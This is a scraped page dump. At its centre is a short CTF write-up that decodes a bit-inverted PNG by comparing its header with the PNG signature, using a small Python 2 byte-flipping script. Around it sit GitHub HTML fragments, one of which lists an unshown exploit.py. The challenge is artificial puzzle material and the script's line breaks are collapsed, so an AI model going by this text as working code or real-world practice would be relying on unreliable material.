<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/AnisBoss/CTFs/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":102334842,"originating_url":"https://github.com/AnisBoss/CTFs/tree/master/TUCTF%202017/unknown-rev200","user_id":null}}" data-hydro-click-hmac="1ed9960a2be7d25b7fdf34418ac1bf24b6f6b25fb390ccc486748d381070a346"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/AnisBoss/CTFs/refs" cache-key="v0:1504513197.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QW5pc0Jvc3MvQ1RGcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/AnisBoss/CTFs/refs" cache-key="v0:1504513197.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QW5pc0Jvc3MvQ1RGcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span><span><span>TUCTF 2017</span></span><span>/</span>unknown-rev200<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTFs</span></span></span><span>/</span><span><span>TUCTF 2017</span></span><span>/</span>unknown-rev200<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/AnisBoss/CTFs/tree-commit/535e1e5b04425e859058e8ef9450f4d76580728f/TUCTF%202017/unknown-rev200" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/AnisBoss/CTFs/file-list/master/TUCTF%202017/unknown-rev200"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>unknown</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Security Home Cameras Write-up---
### Initial Exposure
The first step is to download the encoded png file `secret_encrypted.png`. Notice that the file doesn't open in any image viewer, which menas that the header has been changed. Open the png in a hex editor and look at the first few bytes.
The first 8 bytes are `76 AF B1 B8 F2 F5 E5 F5`
### PNG Basics
Here it helps to know a little bit about how png files work. [See this webpage for more info.](https://www.w3.org/TR/PNG-Structure.html) According to the spec all png files should start with: `89 50 4E 47 0D 0A 1A 0A`
Now we can compare the bytes to get some clues as to how the file is encrypted.
### Breaking the Encryption
`76 AF B1 B8 F2 F5 E5 F5` | Encrypted Header `89 50 4E 47 0D 0A 1A 0A` | Real Header
Notice a few things, `0` in the real header always turns into `F` in the encrypted header. Similarly `A` always maps to `5` and `4` to `B`. If we convert these nibbles into binary and compare them the relationship becomes obvious.
0000|0001|0010|0100|0101|0110|0111|1000|1010|1011|1101|1110|Encoded----|----|----|----|----|----|----|----|----|----|----|----|-1111|1110|1101|1011|1010|1001|1000|0111|0101|0100|0010|0001|Decoded
Every bit is inverted. Now we just have to write a small Python script to flip all of the bits of the program.
```python#!/usr/bin/python2
infile = open("secret_encrypted.png","rb")outfile = open("decrypted.png","wb")byte = infile.read(1)while byte: byte = ~ord(byte)&0xFF outfile.write(chr(byte)) byte = infile.read(1)infile.close()outfile.close()```
This gives us the following image with the flag.
###### Tylor Childers |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 